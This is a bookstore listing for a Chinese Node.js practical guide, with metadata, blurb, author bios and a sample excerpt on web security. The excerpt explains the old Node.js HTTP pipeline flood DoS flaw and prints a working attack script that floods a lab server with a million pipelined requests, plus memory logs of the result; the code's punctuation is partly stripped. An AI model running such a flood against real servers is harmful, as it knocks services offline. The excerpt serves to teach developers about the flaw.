登入帳戶  | 訂單查詢  | 購物車/收銀台( 0 ) | 在線留言板  | 付款方式  | 運費計算  | 聯絡我們  | 幫助中心 |  加入書簽
會員登入 新用戶登記
HOME新書上架暢銷書架好書推介特價區會員書架精選月讀2023年度TOP分類瀏覽雜誌 臺灣用戶
品種:超過100萬種各類書籍/音像和精品,正品正價,放心網購,悭钱省心 服務:香港台灣澳門海外 送貨:速遞郵局服務站

新書上架簡體書 繁體書
暢銷書架簡體書 繁體書
好書推介簡體書 繁體書

五月出版:大陸書 台灣書
四月出版:大陸書 台灣書
三月出版:大陸書 台灣書
二月出版:大陸書 台灣書
一月出版:大陸書 台灣書
12月出版:大陸書 台灣書
11月出版:大陸書 台灣書
十月出版:大陸書 台灣書
九月出版:大陸書 台灣書
八月出版:大陸書 台灣書
七月出版:大陸書 台灣書
六月出版:大陸書 台灣書
五月出版:大陸書 台灣書
四月出版:大陸書 台灣書
三月出版:大陸書 台灣書

『簡體書』Node.js 实战(双色)

書城自編碼: 2272507
分類:簡體書→大陸圖書→計算機/網絡程序設計
作者: 赵坤, 寸志, 雷宗民, 吴中骅 著
國際書號(ISBN): 9787121226762
出版社: 电子工业出版社
出版日期: 2014-05-01
版次: 1 印次: 1
頁數/字數: 392/643000
書度/開本: 16开 釘裝: 平装

售價:HK$ 153.4

我要買

 

** 我創建的書架 **
未登入.


新書推薦:
索恩丛书·文明的经纬:纺织品如何塑造世界
《 索恩丛书·文明的经纬:纺织品如何塑造世界 》

售價:HK$ 102.4
大国的命运:从政治危机到国家现代化
《 大国的命运:从政治危机到国家现代化 》

售價:HK$ 112.7
何以秦汉
《 何以秦汉 》

售價:HK$ 64.4
让春光2
《 让春光2 》

售價:HK$ 53.8
曹操传:乱世之枭雄,治世之能臣
《 曹操传:乱世之枭雄,治世之能臣 》

售價:HK$ 67.9
时刻人文·北宋的改革与变法:熙宁变法的源起、流变及其对南宋历史的影响
《 时刻人文·北宋的改革与变法:熙宁变法的源起、流变及其对南宋历史的影响 》

售價:HK$ 112.7
云上的中国3:剧变中的AI时代
《 云上的中国3:剧变中的AI时代 》

售價:HK$ 90.9
转念的奇迹
《 转念的奇迹 》

售價:HK$ 78.2

 

建議一齊購買:

+

HK$ 103.5
《 Kubernetes实战 》
+

HK$ 109.2
《 Node.js实战(第2季) 》
+

HK$ 127.7
《 ES6 标准入门(第2版) 》
編輯推薦:
因为CNode社区点击率颇高、粉丝数万的《一起学node js》,我认识了《Node js实战》这本书的几位作者,他们在CNode社区内的贡献、与粉丝跟帖及回复频率,文章更新速度,让我确定了与其合作的想法。很高兴,《Node js实战》没有成为教条式的入门级别,而是跳出Node js入门的圈子,真正进入Node js实战层次。《Node js实战》的内容架构也是由简入难的,Node js入门级读者也可从中得到灵感。《Node js实战》的几位作者为大家建立了《Node js实战》官方QQ群: 156627943,并建立了《Node js实战》读者反馈网站:http:nodejs ucdok com。对《Node js实战》的内容用6个字可以总结:让人大呼过瘾!废话不多说了,目录就在下方,赶快看吧,绝对物超所值。br
內容簡介:
《Node.js 实战(双色)》通过8 个实例讲解了Node.js 在实战开发中的应用,涉及Node.js 常用框架、非关系型数据库、关系型数据库、运维命令和网络安全等内容。章节按照从简单到复杂的难度排序,每一章都通过一个有趣的实例指引读者从头开发一个应用,让读者可以循序渐进地学习Node.js,以及在实战开发中的编程技巧。br

《Node.js 实战(双色)》面向的是有一定Node.js 基础的读者,建议读者把本书当作入门书和进阶书之间的过渡书籍来阅读。当然,《Node.js 实战(双色)》也适合那些有其他服务器编程语言基础,并且想尝试Node.js 新鲜技术的人阅读。br

br
關於作者:
赵坤,现于北京红树岛科技有限公司实习,热爱互联网,崇尚开源精神。2013年偶遇Node.js,相见恨晚,从此开始一条Node.js不归路。br

寸志,毕业于同济大学信息安全专业,现任Teambition前端工程师;《深入浅出CoffeeScript》译者。br

雷宗民,某外贸公司PHP码农,2011年6月开始接触Node.js,从此开始各种折腾与重复造轮子。br

吴中骅,目前就职于苏州唐人数码科技有限公司,主要负责公司用户中心、充值平台的开发,API平台开发以及APP游戏研发。br

br
目錄
《Node.js 实战(双色)》通过8 个实例讲解了Node.js 在实战开发中的应用,涉及Node.js 常用框架、非关系型数据库、关系型数据库、运维命令和网络安全等内容。章节按照从简单到复杂的难度排序,每一章都通过一个有趣的实例指引读者从头开发一个应用,让读者可以循序渐进地学习Node.js,以及在实战开发中的编程技巧。br

《Node.js 实战(双色)》面向的是有一定Node.js 基础的读者,建议读者把本书当作入门书和进阶书之间的过渡书籍来阅读。当然,《Node.js 实战(双色)》也适合那些有其他服务器编程语言基础,并且想尝试Node.js 新鲜技术的人阅读。br

br
內容試閱
9.1 什么是Web安全br

在互联网时代,数据安全与个人隐私受到了前所未有的挑战,我们作为网站开发者,必须让一个Web站点满足基本的安全三要素。br

(1)保密性,要求保护数据内容不能泄露,加密是实现保密性的常用手段。br

(2)完整性,要求用户获取的数据是完整不被篡改的,我们知道很多oAuth协议要求进行sign签名,就是保证双方数据的完整性。br

(3)可用性,保证我们的Web站点是可被访问的,网站功能是正常运营的,常见的DoS(Denail of Service 拒绝服务)攻击就是破坏了可用性这一点。br

9.1.1 安全的定义和意识br

Web安全的定义根据攻击手段来分,我们把它分为如下两类。br

(1)服务安全,确保网络设备的安全运行,提供有效的网络服务。br

(2)数据安全,确保在网上传输数据的保密性、完整性和可用性。br

我们之后要介绍的SQL注入、XSS攻击等都是属于数据安全的范畴,DoS、Slowlori攻击等都是属于服务安全范畴。br

在黑客世界中,用帽子的颜色比喻黑客的“善恶”。精通安全技术、工作在反黑客领域的安全专家我们称之为白帽子,而黑帽子则是利用黑客技术谋取私利的犯罪群体。同样都是搞网络安全研究,黑、白帽子的职责完全不同,甚至可以说是对立的。对于黑帽子而言,他们只要找到系统的一个切入点就可以达到入侵破坏的目的;而白帽子必须将自己系统所有可能被突破的地方都设防,保证系统的安全运行。所以我们在设计架构的时候就应该有安全意识,时刻保持清醒的头脑,可能我们的Web站点100处都布防很好,只有另外一个点疏忽了,攻击者就会利用这个点进行突破,让我们另外100处的努力也白费。br

同样,安全的运营也是非常重要的,我们为Web站点建立起坚固的壁垒,而运营人员随意地使用root账号,给核心服务器开通外网访问IP等一系列违规操作,会让我们的壁垒瞬间崩塌。br

9.2 Node.js中的Web安全br

Node.js作为一门新型的开发语言,很多开发者都会用它来快速搭建Web站点,期间随着版本号的更替也修复了不少漏洞。因为Node.js提供的网络接口较PHP更为底层,同时没有如apache、nginx等Web服务器的前端保护,所以Node.js应该更加关注安全方面的问题。br

9.2.1 HTTP管道洪水漏洞br

在Node.js版本0.8.26和0.10.21之前,都存在一个管道洪水的拒绝服务漏洞(pipeline flood DoS)。官网在发布这个漏洞修复代码之后,强烈建议在生产环境使用Node.js的版本升级到0.8.26和0.10.21;这是因为这个漏洞威力巨大,攻击者可以用很廉价的普通PC轻易地击溃一个正常运行的Node.js的HTTP服务器。br

这个漏洞产生的原因很简单,主要是因为客户端不接收服务器端的响应,但客户端又拼命发送请求,造成Node.js的Stream流无法泄洪,主机内存耗尽而崩溃,官网给出的解释如下:br

当在一个连接上的客户端有很多HTTP请求管道,并且客户端没有读取Node.js服务器响应的数据,那么Node.js的服务将可能被击溃。强烈建议任何在生产环境下的版本是0.8或0.10的HTTP服务器都尽快升级。新版本Node.js修复了问题,当服务器端在等待stream流的drain事件时,socket和HTTP解析将会停止。在攻击脚本中,socket最终会超时,并被服务器端关闭连接。如果客户端并不是恶意攻击,只是发送大量的请求,但是响应非常缓慢,那么服务器端响应的速度也会相应降低。br

现在让我们看一下这个漏洞造成的杀伤力吧,我们在一台4CPU,4GB内存的服务器上启动一个Node.js的HTTP服务,Node.js版本为0.10.7。服务器脚本如下:br

var http = require''http'';br

var buf = new Buffer1024*1024;1mb bufferbr

buf.fill''h'';br

http.createServerfunction request, response {br

response.writeHead200, {''Content-Type'': ''textplain''};br

response.endbuf;br

}.listen8124;br

console.logprocess.memoryUsage;br

setIntervalfunction{per minute memory usagebr

console.logprocess.memoryUsage;br

},1000*60br

上述代码是我们启动了一个Node.js服务器、监听8124端口、响应1MB的字符h、同时每分钟打印Node.js内存使用情况,方便我们在执行攻击脚本之后查看服务器的内存使用情况。br

在另外一台同样配置的服务器上启动如下攻击脚本:br

var net = require''net'';br

var attack_str = ''GET HTTP1.1\r\nHost: 192.168.28.4\r\n\r\n''br

var i = 1000000;10W次的发送br

var client = net.connect{port: 8124, host:''192.168.28.4''},br

function { ''connect'' listenerbr

whilei--{br

client.writeattack_str;br

}br

};br

client.on''error'', functione {br

console.log''attack success'';br

};br

我们的攻击脚本加载了net模块,然后定义了一个基于HTTP协议的GET方法的请求头,再然后我们使用tcp连接到Node.js服务器,循环发送10W次GET请求,但是不监听服务器端响应事件,也就无法对服务器端响应的stream流进行消费。在攻击脚本启动10分钟后,Web服务器打印的内存使用情况如下:br

{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }br

{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }br

{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }br

{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }br

{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }br

{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }br

{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }br

{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }br

{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }br

{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }br

我们在服务器执行top命令,查看系统内存的使用情况如下:br

Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers可以看到,我们的攻击脚本只用了一个socket连接就消耗掉大量服务器的内存,更可怕的是这部分内存不会自动释放,需要手动重启进程才能回收。攻击脚本执行之后Node.js进程占用内存比之前提高近200倍,如果有2~3个恶意攻击socket连接,服务器物理内存必然用完,然后开始频繁地交换,从而失去响应或者进程崩溃。br

br

br

 

 

書城介紹  | 合作申請 | 索要書目  | 新手入門 | 聯絡方式  | 幫助中心 | 找書說明  | 送貨方式 | 付款方式 香港用户  | 台灣用户 | 大陸用户 | 海外用户
megBook.com.hk
Copyright © 2013 - 2024 (香港)大書城有限公司  All Rights Reserved.